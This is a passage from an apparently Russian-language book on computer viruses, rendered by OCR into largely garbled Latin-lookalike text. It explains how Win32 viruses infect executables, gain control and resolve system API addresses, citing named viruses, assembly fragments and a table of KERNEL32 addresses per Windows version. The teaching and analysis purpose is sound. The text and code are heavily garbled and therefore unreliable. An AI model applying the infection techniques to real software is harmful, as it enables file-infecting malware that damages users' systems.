aaHHbix, 6jiaroaapa yeMy b hhx B03HHKai0T hckvcctbchho co3aaHHoe cbo- 
6oflHoe npocTpaHCTBo. PeajiH30BaHa jm  axa cnoacHaa, ho KpaciiBaa TexHO- 
,/iorHH b KaKiix-HH6}^ b  pea.ubHbix Biipycax? B KanecTBe npaiviepa mo^cho 
VTio.MHHVTb Win32.Slow.8192... aa h Bee, noacajiyH, Ha stom .

3a-ro HMeioTCH BHpycw, Koxopbie HH4xo»ce cyMHauieca BmicbiBaiOTca b 
ceKUHio «.re loc», 3aTiipaa pacno.ioJKeHHVio TaM Ta6.aHi.iy nepeMemaeMbix 
CCblJIOK CBOHM TeJIOM. j\.m  ailHaMHHeCKHX 6nOJJHOTeK 3T0 6bW0 6bi cj>a- 
Ta.fibHbiM, a iicnoaHHeMbie PE-nporpaMMbi o6whho c n o K o im o  nepeHOCHT  

noao6Hbie acecTOKHe SK cnepH M eH Tbi H aa coooft. IIpHMepbi TaKHX B H py - 

cob: W in32.Orez.6279, W in9X .Sk.8699, W in32.M ockoder.1120 h  a p

4.3.2.7. Bupycu e (paunoebix nomoxax NTFS
K aK  yace ynoM M naJiocb b p a3 ae ;ie , nocBam eH H O M  onH caH H io  4 )a ii-  

.TOBbix cHCTeM Windows, b NTFS (})aHJibi 0praHH30BaHbi b B nae m ho- 

acecTBa n0T0K0B, n p n lieM  T o jib K o  oaHH H3 h h x  aBJiaeTca BHaHMbiM, 

a ocTa.Tbiibie coaepacaT  c j iy x e o i iy io  HHcfiopMaumo h  n o  yM O jnaH H K ) 

CKpbiTH  o t  n o cT o p o H H ero  r;ia3a. .fljia  p a6 o xb i n p iiK J iaanbix  n p o rp a M M  

c 4)aii.n[0BbiMH noTOKaMH H cn o .ib3 y ioT ca  T paan u n oH H w e API-<f>yH K iiH H  

(«CreateFile», «Cop};File», <<DeleteFile>> h  n p o n n e ),  K0T0pbiM  b KaqecT- 

Be n ap aM eT p oB  n ep e aa io T c a  HM eHa c jie a y fo in e ro  c n e m ia jib H o ro  B iiaa : 

« H M a O a H J i a :H M a r i 0T 0K a :A T p n 6y T » .

no vMojiMaHHio cay>Ke6iibie n0T0KH (|)afi;ia He H M eioT  hm chh , h o  

HMeioT aTpii6yTM, cneun^miHpyiomiie iia3HaMeHiic noTOKa. HanpH
Mep, Bpe.\ia co3aaHHH (Jjaitia xpaHHTca b «C:\NOTEPAD.EXE::$Time», 
a aaHHbie 4>aiiaa xpanaTca b  «  C :\NOTE PA D . EX E::$ D ata ». M Hao6o- 
poT, Hecneimc})imHpoBaHHbie (JiaftjioBbie noTOKii Moryr HMeTb H.via, h o  He 

HMeTb aTpn6yTa. n.oao6Hbie n0T0KH C03flai0T Bitpycbi, 3amicbiBaiomHe- 
ca noBepx 3apaacaeM oii n po rp aM M b i h  n ep e H o c a m n e  ee opiinm a.i b  c b o h  

CKpbiTHH n0T0K. HanpHMep, BHpyc W 2K .Team  CBoe Te.no pa3MemaeT 
b  cjjaiiae «NOTEPAD.EXE», a c T ap o e  coaepaciiMoe 3xoro <f)aHJia npn no- 
moiuh (J)vhkhhh CopyFile c o x p aH aeT  b n0T0Ke c HM eHeM  «NOTEPAD. 
EXE:CCC». BHpvcu noao6HOH pa3H0BnaH0CTH Majio new oT.imnaiOTCSi 
o t  BHpycoB-«cnyTHHK0B», n03T0My ohh xaK ace HeMHoroMiicjieHHbi h pea-
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kh. HanpHMep, nepBbitt H3 BecTHbiH BHpyc 3t o h  rp yn n b i W2K.Stream, 
HanHcaHHMH c o b m c c th o  AByMfl MemcKHMH B iip ycon H caTejM M H  Ratter 
h  Benny, npoH 3Beji 4>ypop b yM ax  «n eH H T e jieH », h o  TaK h  He Bbj6 pajicH 

c a jieKTpoH H bix CTpaHiiu, »:ypH aJ ia  « 2 9 A » .

4.3.3. KaK Bupycbi nonyMaiOT ynpasjieHue
B  3 tom  paa/iejie mbi paccMOTpHM c n o c o 6 bi n e p e ^ a ™  ynpaBJieHHH BHpyc- 

HOMy Ko/ty, BHeapeHHOMy B H yrpb  4>anJia 3 a p a »e im o H  nporpaM M bi. 3 a6e- 

raa  B n epea , o tm c th m , h to  HHHero npH H qH nnajibH o h o b o to , n o  cpaBHeHHio 

C D O S -B H p ycaM H , He nOHBHJIOCb, HMeeT CMblCJI OCTaHOBHTbCH TOJibKO Ha 

BHOBb nOHBHBIUHXCa 0 C0 6 eHH0CTHX.

433.1. M3MeneHue adpeca momcu exoda
3 t o  caM biii ecTecTBeHHbiH h  caM biii n p o cT o n  c n o c o o  r iep e/ ia™  ynpaB- 

Jiem ra BHpycy. B  v c jio b h h x  « iu io c k o h *  MoaeJiH naMHTH 3 2 -6 h t o b w x  

BepcHH W in d o w s  s t o  aejiaeTCH coBceM  He c jio jk h o : a0CTaT04H0 n p ocT o  

BnncaTb b n o jie  «A d d r e s s O fE n t r y  P o in t *  3 arojioB K a P E -n p orp a M M b i ho- 

Boe 3HaHeHHe, cooTBeTCTBvioiii.ee n epB o ft KOMaHfle B H pycH oro  K oga . Ta- 

Kaa MaHHnyJianHH c 3aroji0BK0M 6 buia HaMH yace npom iJ iiocTp iipoB aH a 

HecKOJibKHMH CTpaHHuaMH paHee, K oraa  mm H3ynajiH  c n o c o 6  BH eiipeH iia 

b 4 >sepTB y» BH pyca Win9X.DarkSide.1371. A  B oo6 m e, BiipyeoB, n ocT y- 

n a io inH x rio/iofjHbiM oopaaoM , -  noflaBJin iom ee 6 o jibu m ncTB o.

I i H o r a a  B H p y c , nojiyHHBiiiHH ynpaBJieHHe, c p a 3 y  n o jib 3 yeT C » hcxozi- 

HblMH 3HaneHHHMH perHCTpOB, HaCTpoeHHUMH 3arpy3HHK0M W in d o w s -  

nporpaM M :

O  E A X = E I P  ( b  W in d o w s  9 X )  h jih  0  ( b  W in d o w s  N T ) ;

O  E B X = 0 0 5 *0 0 0 0 h  (b  W in d o w s  9 X , 3/iecb -  HCKaa n iic fjp a ) h jih  

7 F F D F O O O h  (b  W in d o w s N T ,  a r o  a^pec  P E B ) ;

O  [E S P + O O ] -  a^pec  BHyTpH n pon e^ ypb i-sa rp ysqH K a .

Bo3BpaT ynpaBJieHHH opH riiH a jibH on  n porpaM M e Toace o o h h h o  Tpn- 

B iia .ien  h  BbmojiHHeTCH KOMaHaoH « J M P » ,  0 (J)0 pMJieHH0 H cjie^yrom H M  

06pa30M:

dw 25FFh ; OdKOfl KOMaHflH flawHHOro nsoexoca
dd Adr ; Aapec aapeca nepexoaa

Adr dd ? ; Aapec nepexoaa

h jih  KOMOHHanneH P U S H / R E T :

db 68‘; ; OnKoa KOManflbi PUSH
Adr dd ; Aapec nepexofia

re t
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I l o j i e  « A d d r e s s O f E n t r y P o i n t s  H e  0 6 a 3a T e J ib H 0  a o j ia c H O  V K a 3b iB a T b  

b  K o a o B y K )  c e K im i o  n p o r p a M M w  h  B 0 0 6 m e  b  K a K y io - H H 6 y a b  c e K H H io .  

B w iu e  m w  y a c e  y r io M H u a j i i i  H H T e p e c H y io  0 C0 6 e H H 0 C T b  B H p y c a  Win9X. 
CIH, n e i i  C T a p T O B w ft  ^ p a r M e H T  p a a M e m a j ic a  b  o o j i a c r a  a a r o j io B K O B  3a -  

p a a c a e M o f t  n p o r p a M M w .  H e .M a j io  a H 3 a c . c e M 6 j ie p o B  h  O T J ia a H H K O B  o 6 p a 3 u a  

1995-1998 r o n o B  ( H a n p H M e p ,  S o u r c e r  v 7 . X )  n p o c T o  0 T K a 3 M B a j iH C b  p a -  

6 o T a T b  n p n  n o n w T K e  H c n 0 J ib 3 0 B a T b  h x  a  j i h  H 3 V H e H H a  K o a a  3 T o r o  B H p y 

c a !  « 0 i i m >  c  T O H K o ft  B x o a a ,  n c r i0 J ib 3 0 B a H H b r i i  B H p y c o M  W in9X.CIH, 
6 w j i  B n o c j ie a c T B H i i  n o B T o p e H  b  o n e n b  M H o r a x  B i i p y c a x  ( c m .,  H a n p H M e p ,  

Win32.Haless.1127, Win32.Noise.410, Win9X.Argos.328, Win9X. 
Rinim h  n p o H H e ) ,  h o ,  k o h c h h o ,  a B a a c a w  H a a  o a H o f t  i u v t k o h  e M e a T b e a  H e  

n p H H K T o ,  h  [ I 0 3 T 0 M V  B e e  c o B p e M e H H b ie  a H 3 a c c e M 6 j ie p w  h  o T J ia a n i iK H  0 6 - 

p a 6 a T W B a io T  s t y  c i iT y a u H K )  6 e 3  3 a T p y a H e m if t .

4.3.32. H3MeneHue tcoda e monne exoda
I l p n  3 t o m  c n o c o 6 e  a a p e c  t o h k h  B x o a a  b 3 a r o j io B K e  H e  M e H a e T c a ,  a  B M e c 

T o  3 T o r o  b  nepBwe 6 a f tT b i n p o r p a M M H o r o  K o a a  e c T a B J ia io T c a  K O M a H a w  n e -  

p e x o a a  H a  Biipyc ( H a n p H M e p ,  « J M P » ) .  3 T a  T e x H O J io r n a  oneHb HanoMHHa- 
c t  T y , K O T o p a a  H c n o j ib 3 0 B a j ia c b  K o r a a - T o  a a B H w m -a a B H O  rjih  3 a p a > K e H iia  

C O M - n p o r p a M M  b  M S - D O S .  A  b o t  E X E - n p o r p a M M H  T a K H M  0 6 p a 3 0 M  

b  D O S - a n o x y  3a p a a c a j in c b  p e a K o .  / [ j i h  h h x  n o a o 6 H b i f i  T p io K  H a a o  6 w j io  

B b m o j iH H T b  o n e H b  o c T o p o a c H O , T a K  K a K  b  B H a o i i3 M e H a e M w x  K O M a H a a x  

M o r j ia  n p H c y T C T B O B a T b  n e p e M e m a e M a a  ccwjiKa. C u y c T a  r o a w  « x a jW B a »  

B e p H y j ia c b ,  n o c K O J ib K y  a J in  H c n o jm a e M b ix  P E - n p o r p a M M  n e p e M e m a e M w e  

c c b u iK H  n p a K T H H e c K H  H e a K T y a J ib H b i.  H e  i i3 M e t t a io T  a a p e c a  t o h k h  B x o a a  

T a K H e  B H p y c w ,  K a K  Win32.Parvo, Win9X.Marburg, Win32.Cabanas h  

M H o n ie  a p > T H e .

4 . 3 . 3 3 .  H c n o n b 3 o e a H u e  m e x n o n o z u u  E P O

Y a H B H T e J ib H O ,  h o  n a e a  B H e j p e H i iH  B H p y c a  b  c e p e a H H y  n p o r p a M M H o r o  

K o a a  4paciiBeaa» H e  b  DOS-anoxy, K o r a a  0 H a  6biJia npnayMaHa h  K o r a a  

a J ia  e e  p e a a H 3 a u H H  o c o 6 b ix  v c h . i h h  n p i u i a r a r b  H e  T p e 6 o B a j io c b ,  a  MHoro 
n o 3 a c e  -  b  a n o x y  32-pa3paaHbix B e p c H H  Windows.

H m  n o H C K a  n o a x o a a m e r o  M e c T a  a J ia  B C T a B K H  c b o h x  C T a p T O B b ix  k o - 

M a H a  BHpyCbl HCnOJIb3VIOT pa3Hbie TeXHOJIOrHH.

Ilpome Bcero CKaHHpoBaTb KoaoByro ceioiHio 3apaacaeMoft n p o r p a M 
M b i,  ocTaHaBJiHBaa CBoe B m iM a m ie  H a  « n p o J io r a x »  n p o u e a y p  h  c ^ v i ik h h h ,

oush ebo
raov sbp, esp
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Ha o 6 p a m e H H H X  k  rariHHHbiM c h c t c m h m m  cepBHcaM

push 0
c a l l  ExitProcess

h  npoHHX CTaH/iapxubix c f jp a r M e n x a x  n p o r p a M M H o r o  K O ^ a . OfinapyacHB 
r a e - T O  b  r n y o H H e  k o a o b o h  c c k u h h  c o o T B e T C T B y io iu y io  K O M 6 i i H a i iH io  

6 a H T 0 B  (HanpiiMep, 55h 8Bh ECh), m o > k h o  HaaejiTbcH, h t o  nporpaMMa
paHO HJIH n03flH0 AOHfleT ao 3T0H TOHKII. 3HaHHT, MOJKHO 3aMeCTHTb 3TOT 
(JjparMeHT KOMaHflOH nepexofla Ha BnpycHoe Tejio, npe/iBapHxeJibiio co- 
xpaHHB rae-To BHyTpH Hero opnmHaJibHbie 6 aiiTbi. TaK  nocTynaioT Biipy- 
cbi Win32.CTX, Win32.SK, Win32.Blakan. Win32.Deemo h nponne. 
Ochobhoh HeaocTaTOK no,ao6Horo noaxofla oneBHfleH: Haaeacflbi He ooh- 
3aHH c.6biBaTbca, h B i i p y c  m o *c t  «HaBeKH» ocTaxbca BHyrpii nporpaMMbi, 
Tan h h  p a 3 y  He nojiynHB ynpaBJienuH h He coBepuiHB aKTa paaMHOJKCHHa.

R )p a 3 f lo  o o .x e e  c j j o j k h o h  h  n p 0 / iB H H y T 0 H  h b . t o c t c h  x e x H O J io m a  n LD E32» 
( a  T a io K e  ee e m e  6 o j ie e  H a B o p o H e H H b ie  <'<nepen3/taHii>i»), n p o n a r a n a H -  

p y e M a n  X H T p o y M H b iM  O T e n e c T B e H H b iM  B u p v c o iT H c a x e j ie M  n o  n p o 3 B i im y  

ZOmblE. B c o o T B e T C T B H H  c  H e f t  B H p y c  C K a H H p y e x  sapa^caeMyio n p o r p a M 

M y  c  n o M o m b io  B C T p o e H H o r o  b  H e r o  a o B O J ib i io  n p o c T o r o  h  S b ic T p o a e H C T B y -  

r o m e r o  « a H 3a c c e M 6 j ie p a » ,  n o 3B O J is n o m e ro  6 b ic T p e H b K o  « n p o 6 ea< aT bC fl»  

n o  n p o r p a M M e ,  KOM anjia 3a  K O M aiu o fl. h  H a n x n  n o a x o / ia m e e  nna 3 apa - 

a ce H H H  M e c T o .  B p e 3 y j ib x a x e  T O H K a  B x o ^ a  b  B i i p y c  HHorna O K a s b iB a e x c a  

T a K  r j i y 6 o K o  b  nezipax n p o r p a M M H o r o  K o / ia .  hto  a H T H B i ip y c ,  H c n o j ib 3 y io -  

m i i i i  f l jm  o 6 H a p y » c e H H H  e e  o T H io a b  H e  n p o c T o i i  a H 3 a c c e .M 6 . ie p ,  a  i i o j i h o -  

HeHHblH 3 M V J IH T 0 P  K O M a H A , BblHVJKfleH IlO.X'iaC T p a T H T b  MHHyTbl H  f la J K e  

aeCHTKH M H H y T  Ha nOHCK «3apa3bl>> B  OflHOM-eailHCTBCHHOM 3apa>KeHHOM  

4>aHJie! C j i a s a  Bory, a B T o p y  T e x H O J io n tH  X B a r a j i o  VMa He B b in y c K a T b  c b o 

h x  MHOrOHHCJieHHbIX B H p y c o B  b  « a h k v io  n p H p o a y * .  I I o  KpaHHeil Mepe, 
b  M e » y iy H a p o ,z m o M  cmicKe B i i p y c H b i x  a n n a e M H H  o t  Joe W ells s t h  B H p y c b i  

He y n o M H H a io T C f l .

4.3.4. KaK Biipycbi o6pamaK>Tca k cucTeMHUM 
c e p B H c a M

Bonpoc a o c T y n a  k  c u c T e M H b iM  c e p B i ic a M  HB.weTCfl K jn o n e B b iM  ff.m B H p y 

coB, cfjyHKUHOHHpyioimix b  c p e j e  3 2 -p a :s p a ,a ,H H X  BepcHH Windows. Bbiiue, 
b  p a a a e j ia x ,  n o c B H iu e m ib ix  v iM n o p x y  h  3 K c n o p x y ,  6 h j i h  p a c c M O T p e H b i 

c .T o a cH b ie  c x e M b i B3aHMo;iieiicTBna n p o r p a M M  c  f lH H a M H H e c K H M H  o h o j i h o - 

T e K a M i i ,  coaep*amHMH H e o o x o A H M b ie  a'in ( f j y H K U H O H h p o B a h h h  n p o r p a M M  

cfiyHKUHH. Ha 3Tane cjx>pMHpoBaHHH 3arpy30MHoro m o /ivjih k o m h o h o b i h h k  

o c u a m a e T  < :H o p M a J ib f[yK )»  n p o r p a M M y  cjiyaceoHbiMii 3 a ro J io m c a M H  h  H a -
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C Tp o e H H M M H  T a 6^ H iia M H , coae pacaiU H M H  H H (J)o p M a u H K ) o T p e 6y e M tix  n p o -  

rpaMMofi B H e n iH H X  (JjyH K iiH H X , a 3 a TeM  3a r p y 3WHK o n e p a q H O H H O H  c H c re M U , 

n o jib 3 y a c b  s t h m h  3 a ro jio B K a M H  h  T a 6;u m a M H , o o e c n e r a B a e T  n p o rp a M M y  

H e o6x o a H M M M ii p e c y p c a M H  -  a a p e ca M H  b h c u ih h x  cj)yHKLiHH. K o M n w o - 

Te p H b ift BHpyc ace a B Jia e Tc a  h h c t h m  n p o rp a M M H W M  KoaoM. H e  c o a e p m iT  

H H K a K H X  3 a r0 Ji0 B K 0 B  h  T a 6jiH U , n o s x o M y  n p o 6a e M y  a o c r y n a  k  ciic Te M H M M  

ce p B H ca M  (n p e a c a e  B c e ro  k  (Jw h k u m h m  6n 6j in o T e K H  «K E R N E L 3 2 .D L L ») 
e M y  n p H x o f l ir rc a  pexuaTb n o jm o c T b io  caM OCTO H TeiibH O .

4.3.4.1. Memod npedonpedejieunbtx adpecoe
H aH 6 ojiee npHMHTiiBHbie BHpycbi opneHTHpoBaHbi Ha KOHKperabie 

Bepcnn onepamioHHWX c h c t c m , a.ifl K oropbix pacnoaoaceHHe b  aapecnoM  

npocTpaHCTBe 6 n 6 jiHOTeKH «K E R N E L 3 2 .D L L » h  (JjyHKiinii bh v tp h  Hee 

HBJiaeTCH aCeCTKO (jbHKCHpOBaHHbIM.

HanpHMep, a B T o p  B H p y c a  Win9X.Boza 6bia ocBeaoMaen o aB_yx bo3- 
MoacHux BapnaHTax o6men tohkh Bxoaa b «K E R N E L 3 2 .D L L » u rn  pa3- 
JiOTHbix 6eTa-BepcHH «C h icago », hmcji aaHHbie o xapaKTepHUx fljia 3toh 
tomkh uenoHKax oaiiTOB ( c H r n a T y p a x ) ,  orrpeaeJiHJi aaace aapeca nepexoa- 
HHKOB (thunks) K Heo6xoaHMbIM CHCTeMHbIM C-epBHCaM, HO nOHeMV-TO He 
3Ha;r JiHHeHHbix aapecoB caMHX (Jwhkijmh h hto k hum mojkho o6pamaTb- 
ca nanpHMyro. B pe3y.!ibTaTe oh comhhhji a-ra o6pamenna k CHCTeMHMM
cepBHcaM  c jiea y iom H H  o q e iib  H aHBiibiii (n o  H bm eium iM  BpeM eH aM ) Koa:

407014 nov eax, [ebp+4403A1hj ; ( le p B u a  a n p e o  c w r n a T y p H

40701A cmp dword p t r  [eax], 5350FC9CP ; Coena/io c c a rH a ry p o t i?

407020 j n z sh o rt  lo o _ 407031 ; Ecnn H6T - H8 ciieflyiciiiyic nonaT n.y

407026 BOV eax, [ebp+4403A1h] ; a n e c b  1 - u i i  e a p n a n T  aapeca t o v k m  B ^ o s a

40702C im p 407049

407031 mov eax, [ebp<-4403SDti] , EropoCi aapec ciirHarypu
407037 cmp dword p t r  [eax ], 5350FC9Ch , Coenajio ?
40703D j n z 407396 , Ec.nn H6T - npeKpaTiub noM C KH

407043 mov eax, [ebp+440390h ] ; A 3fleob 2 - h sap iiaH i aapeca
407049 mov [ebp+440399h], eax ; CoxpaneHMe aapeca t o h k m  eusosa
40704F e ld
407050 le a eax, [ebp+4406CBhl ; SarpysKa b c t g k . .

407056 push eax .. napaMerpoB...
407057 push OFFIi ; .. API32-cepBHca
40705C c a l l 4073A5 ; Btiaoe 0yHKitHM oGpaneni-m k cepettcy

i S s e c b  p a c n o n a r a e T M  c o S c ie e B H O  e s s o a  c e p B n c -3

4 0 7 3 A 5  p u s h  0B F f77744h , lle p e x o flH iiK  k  G e t C u r r s n t D i r e o t o r y A

4073,A.A jm p  d w o rd  p t r  [e b p - f4 4 0 3 9 9 n ]  : ( la o e /o f l  na 06111710 to m k y  ew30Ba
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BoJiee no3flHHe B H p y c w  coaepacajra npocTo T a 6 j i m K y  JiHHeHHbix aape- 

c o b  HeooxoflHMbix c h c t c m h w x  (Jw h k h h h  h  o 6 p a m a j m c b  k  H e n  no M e p e  He- 
o 6 x o /i h m o c t h . B o t , Han p H M e p ,  (jjparMCHT BH p y c a  W in9X.LUD.Hilf.40i:

401134 8D4510 le a
4011B7 50 push
4011B8 80872A134000 le a
4011 BE 50 push
40118F FF970E134000 c a l l

e a x ,[e b p ] [ l0 ]  
eax
e a x ,[ e d i ][00040132A] 
eax
d ,[ed i][0 0040130E ]

; Aflpec paOoMeii o 6 jia d n  

; Aapec MacK.ii noncKa 

; OSpaiaeHvie k cepsncy

; TafijinHKa aapecoB chct6Mhwx cbOBmcob b KERNEL32.DLL m  Wmdows95 
40130E BFF77893 dd BBF77893 ; Aflpec F ln d F irs tF lle A
401312 BFF778CB dd BFF778CB ; Aflpec F in d fte x tF ile A
401316 BFF77817 dd BFF77817 ; Afipec CreateFiieA

; MacKa ana noHCKa ifaiiflOB 
40132A 2A2E45584500 db 1 * . EXE' , 0

H M e io T c a  h  6o Jiee  n p o a B H H y r u e  B H p y c w , K O TO p w e  c o a e p a ca T b  c b o -  

h x  B H y rp e H H O C T H X  H ecK O JibK O  n o a o 6n w x  T a o .iH 'ie K  a J in  p a 3 JiH H H W x  

B e p c iin  h  p a 3 H O B H flH O C Te tt Windows. BnponeM, a e p a ca Tb  b  ce&e M H o rn e  

a e C H TK H  H  C O TH H  6a H TO B  aO B OJIbH O  H aK JiaflH O , n 0 3 T 0 M y  T a K Iie  B H p y 

cbi o 6w h h o  x p a H H T  TO JibK O  B a p H a H T w  6 a 3 0 B w x  a a p e c o B  «KERNEL32. 
D L L »  H . B 03M 0aCH 0, C M eiU C H IlH  B H y T p H  3 T 0 H  6l l 6j IH 0Te K H  a  JIH (fiyiFK U H H  

«GetProcAddressA», K O TO p a H  n 0 3 B 0 JiH Jia  6bi H a iiT H  a a p e c a  Bcex ocTajib- 

H b lX  H e o 6x o a iIM b IX  4 )V H K U H H . 0 6 lb e K T H B H O C T H  paflH O TM e TH M , MTO ,2.0-  

cryn k  «GetProcAddressA» r o a c e  b  06m e M -T 0 H e o 6n 3a Te jie H , T a K  K a K  B H 

pyc M O »;e T  c a M 0C T0H Te Jib H 0 p a 3o 6p a T b  T a 6j i i m w  3KcnopTa «KERNEL32. 
D L L »  h  o n p e a e .T O T b  Bee Tpe6yeMbie a a p e c a  H a n p H M y io .

B ot ( j jp a rM e H T  B H p y c a  Win32.Lad.1916, K O T o p w fi 3iia ;i  o c y m e c r B O B a - 

h h h  Windows 9X, Windows NT  4.0 h  Windows 2000 h n w T a j ic n  o 6H a p y -  

acH Tb b  n a M a T H  o 6p a 3 D H 6jiH O T e K H  «KERNEL32.DLL» no x a p a K Te p H W M  

a a p e c a M  ee M e c To p a c n o Jio a c e H H H  h  n o  xapaK TepH oii c H r a a T y p e  M Z ’ (H e  

3a6yaeM, h t o  AHHaM H'iecKHe 6 h 6 jih o tc k h  h m c io t PE-c})opMaT h  ucjihkom  

r p y 3 H T c a  b  n a M H T b ):

412248: mov word p t r  [ebp+4015FEh], 5 ; CMetsur

412204: mov e s i,  77E80000n ; Aapec KERNE132 .OIL jyw Windows 2000
412209: j  mo s h o r t  loc_41229B
4122D3 lcc_4 l22Q B:
4122D3 *ov e s i.  77F0000uh ; Aflpec KERNEL32 DLL jyiq Windows NT 4 .0
4122E0: j» p  s h o r t  ioc_41229B
4122E2 loc.4122E2:
4122E2 iiiov e s i.  03FF700u0h : Afipec KERNEL?? OIL fl,ns Windows 9X
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4122E7: m s h o r t  lcc_412298

412290: cmp byte  p t r  [ebp+401£FEh], 0 ; npOAOJtxaTb m  noMCK?
4122A2: n s h o r t  Ioc_4122C8 ; Hei
4122A4: cmp word p t r  [ e s i] ,  5A4Dh ; f la  -  MCK8T b  'M 2 '

4122A9: 3 Z s h o r t  loc_4122B9 ; Hawen 1
4122AB lcc_4122A3:
4122AB: sub e s i,  lOOOOh ; CMecTHTbOfl M y tb -u y T b

4122B1: dec byte  p t r  [ebp+40l5FEh] ; JJeKpeMeHt CMerm-iKa

412237: imp sh o r t  lo c„41229B
; iJajibHefiuafl pa6oia c Ha faeHHbiM b naMfltM 06pa30M KERNEL32.DLL
4122B9:

B o t j i h ' i h c  o t  co B ce M  n p iiM H T H B H B ix  B H p y c o B  c npecfw K co.M  « W i n 9 X » ,  

acecTKO o p H e H T iip o B a H H b ix  H a  K O H K p e r a y io  B e p c n io  W i n d o w s ,  n o a o o -  

HblC Win32.Lad.1916 B H p ycw  c n o c o 6H b i pa.3M Ho>KaTbca b H ecK O Jib K H X  

p a 3/iH H H H X  B e p cH H X  W i n d o w s ,  3a h t o  b  H 33B 3H H H  n o jiy H H JiH  npe<J)HKC 

« W i n 3 2 » .  B n p o n e M , H e  c t o h t  o o o jib m a T b c a  h x  « B e 3a e x o a H o c r a o » .  ;Q,ejio 

b  to m , h t o  4>Hp.Ma M ic r o s o f t  B b in y c K a e T  H OB bie c e p B H c n a K H  k  CTapbiM 

B e p cH H M  W i n d o w s  H H o r a a  n o  H e c K o / iL K y  u i t v k  b  r o a ,  H e r o B o p n  y *  o to m , 

h t o  p a 3  b  f lB a -T p u  r o a a  noaB.T-HCTCH H O B a a  B e p c u a  s t o S  O n e p a n H O H H O H  

CH C TeM bi. E c j i h  c 6 a 3 0 B M M H  a a p e ca M H  «KERNEL32.DLL» e m e  H a6jn o -  

a a e T c a  x o n >  K a K a a -T O  n p e e M C TB e H H O C Tb  (h  n 0 3 T 0 M y  Win32.Lad.1916, He 

o 6H apy>K H B  6n 6j iH O T e K y  Ha «3 a K O H H O M » M e cTe , b h o j ih c  p e 3 0 H H 0  n b rr a e T - 

c a  H a H T ii  ee r z ie -n n 6yzib  H e n o a a jie K y ),  t o  a a p e c a  K O H K p e TH b ix  (J m iK U H H  

b h j t p h  Hee « r u ia B a iO T »  o t  B e p c m i k  B e p c n n  ro p a 3 a o  x a o T H H H e ft. /I, jih  h j i -  

.'IIO C Tp a ilH H  3 T 0 T 0  06cT0HTe.'IbCTBa nOCMOTpilM H a cf)pa rM e H T C IipaB O H H O H  

Ta& JIH H K H . C06paHH0H B  CaM bIX p a 3 H 0 0 6 p a 3 H b IX  B e p c n a x  H M O a H (J)H K a - 

U H a x  W i n d o w s  c v h c t o m  b c c b o 3m o> khm x « 6H J ia o B » , «p e J iH 3 0 B »  h  « c e p -  

B H c n a K O B ^ . M \ te T b  T a K y io  T a 6j iH H K y  (cm . T a 6ji. 4 .8 )  n o jie 3 H o  H e  TO JibKO  

B H p y c o n n c a T e jiio .  h o  h  B iip y c o j io r y ,  -  x o t h  6m  p a a it  T o r o ,  h t o 6m  p a 3 o - 

6p a Tb C H  b  y c T p o H G T B e  o n e p e flH o ro  h o b o t o  B H p y c a , c o a e p jK a m e ro  B H y T p ii  

M a H H iiy jiH U H ii  c  H e n o H H T H M M H  a a p e ca M H .

B Ta6jiHHKe HeT h h  Windows Vista, h h  Windows 7, noTOMy h t o  b s t h x  

Bepcnax cHCTeMHbie Tafi.iHUM <?iLiaBaioT> b naMara, -  h  3To c/iejiano cne- 
U H a jIb H O .

KaK 6bi t o  h h  DMJio. BH pycy, ooH apy jK H B iueM y b  naMara «KERNEL32. 
DLL». aaJiee n eo 6 x o a iiM o , cK aH H pya  «Ta6jiHny iim ch  4)VHkiihh>>, HaiiT ii 

b  Hen CTp0K0B0e hm h 4 >vh kh hh  (H an p H M ep , ‘ReadFile’), n 0T0M c o o t b c t -  

cT B y iom m i nopH/tKOBbiH H oM ep b <sTa6jinne HOMepoB*-, a n o  STOMy HOMe- 

p y  -  h ckom m h  a a p e c  b  «Ta6jnme aap ec  o b k  AH aJ iH 3iipya k o a  p a3 J iH 'm u x  

BHpyCOB, M05KH0 o6HapV>KHTb aB a  OCHOBHbIX n o a x o a a , KOTOpbie HCnOJIb- 

3yroT B H p y co n n caT e .m  noticK a cTp0K 0B0ro  HMeHH ({n-HKrim i.
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T a 6 n n m a  4 .8 .  G H K C H p o s a H H u e  a a p e c a  a  H e K o r o p u x  a e p cH to c  

W in d o w s

O C KERNEL32.DLL GetProc Address Exit Process
Windows 95 0xBFF70000 0xBFF76C18 OxBFFSAFDD
Windows 95 0xBFF70000 0xBFF76D5C 0xBFF8AECD
Windows 98 0xBFF70000 0xBFF76DA0 0XBFF8C4E5
Windows 98 0xBFF70000 0xBFF76DAC 0xBFF8D4CA
Windows 98 0xBFF70000 0xBFF76DA8 0xBFF8D4F8
Windows ME 0xBFF60000 0xBFF66D80 0xBFF7D97D
Windows NT4 Ox 77F00000 0x77F13C1E 0x77F19569
Windows NT4 0x77F00000 0x77F13FCA 0x77F19FB2
Windows NT4 Ox77FOOOOO 0x77F14010 0x77F19FE6
Windows 2000 Ox77E80000 0x77E9564B 0x77E9B0BB
Windows 2000 0x77E80000 0x77E89AC1 0x77E98F94
Windows 2000 0x77E80000 0x77E89B18 0x77E9CF5C
Windows XP 0x7C800000 0x7C80AC28 0x7C81CAA2
Windows 2003 0x77E40000 0x77E42DFB 0x77E4F1E4
Windows 2003 0x77E60000 0x77E7B332 0x77E798FD

IlepBHH, caMbift npocToft ii ecTecTBenHbiH, 3aKJiroMaeTca b nocHM- 
BOJIbHOM CpaBIICHHH CTpOKOBbIX HMeH, CO/iep>KamHXCJI B BHpyce, C a.'ie- 
MeHTaMii «T a 6,'inubi hmbh* zuinaMiiHecKoii oho/ihotckh «K E R N E L32 . 
D L L » . B stom cjiynae b Tejie Bnpyca HMeHa cjjyHKiuiH oobihho bh^hw «na 
npocBeT*, h no hhm mo>kho c flocTaTOMHOH CTeneHbio yBepeHHOCTH 6e3 
flH3aCCeM6jIHpOBaHH5I Onpe/ie/IHTb OCHOBHWe CBOHCTBa H nOBa^KH «3a-
p a 3 u  ■>. P a 3 r j iH f lb iB a H ,  HanpHMep. nawn B i i p y c a  Win32.Idyll.1556, mo>kho 

6 e 3  T p y a a  a o r a . a a T b c a ,  hto oh K p a im e  n p o c T  h H e n p H T H 3 a T e j ie H ,  o 6 H a p y -  

/K H u a e T  cboh « > K e p T B b i»  n o n c K O M  b T e n y m e M  K a - r a j io r e .  a  n p n  3 ap a > K e H H H  

i i c n o . T b s y e T  rjia  x p a H e m ia  cbohx BpeMeHHbix z ia i iH b ix  /iHnaMUHecKyro
na:

BIO

H»Tfj

26 46 49 75-F5 03 43 72-65 61 74 65-46 69 60 65 &FIiii+ . C r e a t e F i l
